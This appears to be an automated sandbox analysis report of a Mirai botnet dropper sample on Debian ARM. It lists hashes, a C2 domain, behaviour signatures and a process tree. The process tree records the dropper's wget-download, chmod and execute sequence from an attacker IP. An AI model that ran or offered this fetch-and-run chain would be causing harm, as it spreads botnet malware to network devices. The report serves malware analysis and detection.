Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/10/2026, 03:29

General

  • Target
    e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • Size 1KB
  • Sample261030-d2d94adb64
  • SHA256 e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • BOTNET

C2
  • scan.yerco.xyz

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    /tmp/e1238a13a4fd4de7c62dc36f45e6d27bcae8d47b51a2ecd5e360a2e7024bf2b8
    1⤵
    • Executes dropped EXE
    PID:646
    • /bin/uname
      uname -m
      2⤵
        PID:648
      • /bin/pidof
        pidof arm7
        2⤵
        • Reads runtime system information
        PID:651
      • /bin/rm
        rm -f /tmp/arm7
        2⤵
          PID:658
        • /usr/bin/wget
          wget -q http://103.210.144.11/backups/.../arm7 -O /tmp/arm7
          2⤵
          • Writes file to tmp directory
          PID:661
        • /bin/chmod
          chmod 777 /tmp/arm7
          2⤵
          • File and Directory Permissions Modification
          PID:677
        • /usr/bin/id
          id -u
          2⤵
            PID:678
          • /bin/rm
            rm cute
            2⤵
              PID:681
            • /tmp/arm7
              /tmp/arm7 arm7
              2⤵
              • Modifies Watchdog functionality
              PID:679
            • /tmp/arm7
              /tmp/arm7 arm7
              2⤵
              • Modifies Watchdog functionality
              • Reads runtime system information
              PID:680

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                arm7

                • Path /tmp/arm7
                • Size 140KB
                • SHA256 42b16f19cfc9f64c7b0ac61f642f3929940d9feda7012419dccf18c988de7e3c
                • MD5 SHA1 SHA512 SSDEEP TLSH